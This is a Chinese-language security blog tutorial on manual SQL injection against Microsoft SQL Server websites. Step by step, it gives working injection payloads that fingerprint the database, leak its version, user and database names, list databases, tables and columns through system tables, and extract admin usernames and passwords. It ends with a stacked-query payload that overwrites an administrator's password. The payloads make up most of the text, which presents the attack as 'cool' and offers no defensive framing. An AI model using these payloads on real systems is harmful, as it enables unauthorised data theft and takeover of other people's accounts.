MSSQL手工注入,看似复杂命令繁多。但由于其本身的结构特点,和强大的函数功能,反而为我们进行注入及后续的渗透,带来了极大的方便。另外由于其注入时的语句相对固定,因此市面上的注入工具,对于MSSQL的注入支持效果甚好。下面我从注入语句的原理为大家进行介绍。
一.判断数据库类型:
在判断数据库类型时,我们可以用经典的在注入点后加?’一个单引号?,来通过页面的报错,来获取到网站的数据库类型。
二.判断注入点:
当我们确定了是MSSQL后,接着我们来判断该网站是否存在注入点。还是经典的判断命令:and 1=1 ??and 1=2?,通过返回的对错来判断是否存在注入。
三.判断数据库的版本号:
判断数据库版本号的语句也非常简单,只需在注入点后输入 ?and @@version>0?,即可在页面爆出版本号。这里的原理也很简单,当注入点将我们的查询语句带入到数据库进行查询,得到结果后又与 0 进行了大小的比较。由于无法将字符与数字进行比较和转换,浏览器就直接将我们查询的结果以错误的形式,返回给浏览器。从而我们就爆出了它的版本号信息。
四.查看当前连接数据库的用户名:
同样的原理,利用其无法进行大小比较的特点,爆出数据库的用户名。
and user>0
dbo=sa mssql管理员
五.查看当前连接数据库:
以此类推,查看当前连接数据,并进行比较报错。
and db_name()>0
六.查看其它数据库:
在MSSQL中,我们可以通过一条简单的命令,进行跨库查询。由于其默认数据库的 id 号从 6 以后为用户定义数据库,因此利用这一特点,我们只要改动内带字典库的 id ,就可遍历出用户建立的数据库信息。
库名.所有者.表名
and (select name from master.dbo.sysdatabases where and dbid=6) >1
七.判断表名:
通过自带的字典表,我们可以轻松获取到用户创建的表名信息。
and (select top 1 name from sysobjects where xtype=’u’ and status>0 )>0
八.判断其它表:
同样,通过命令的简单改动,我们就能遍历其它的表名信息。我们只要将之前猜出的表名进行排除即可。
and name not in(‘xxx’,’xx’)
注意:加入到最后一个括号前!
九.判断列:
通过命令语句找出 admin 表中的第一列信息。以此类推可以遍历出 2,3,4等。
admin(username,password)
and (Select Top 1 col_name(object_id(‘admin’),1) from sysobjects)>0
十.获取数据内容:
只要将之前得到的表名列名进行组合查询,形成完整的SQL查询语句即可进行正常的查询。
and (select username from admin)>0
十一.更改密码:
没错,我们可以直接来修改dbo的密码。是不是很酷!别忘了前面的分号,加了分号可以执行多条SQL语句。
;update article.dbo.admin set password=’a123456′ where username=’admin’;–
原创文章,转载请注明来源 即刻安全 !
转载请注明:即刻安全 » MSSQL手工注入详解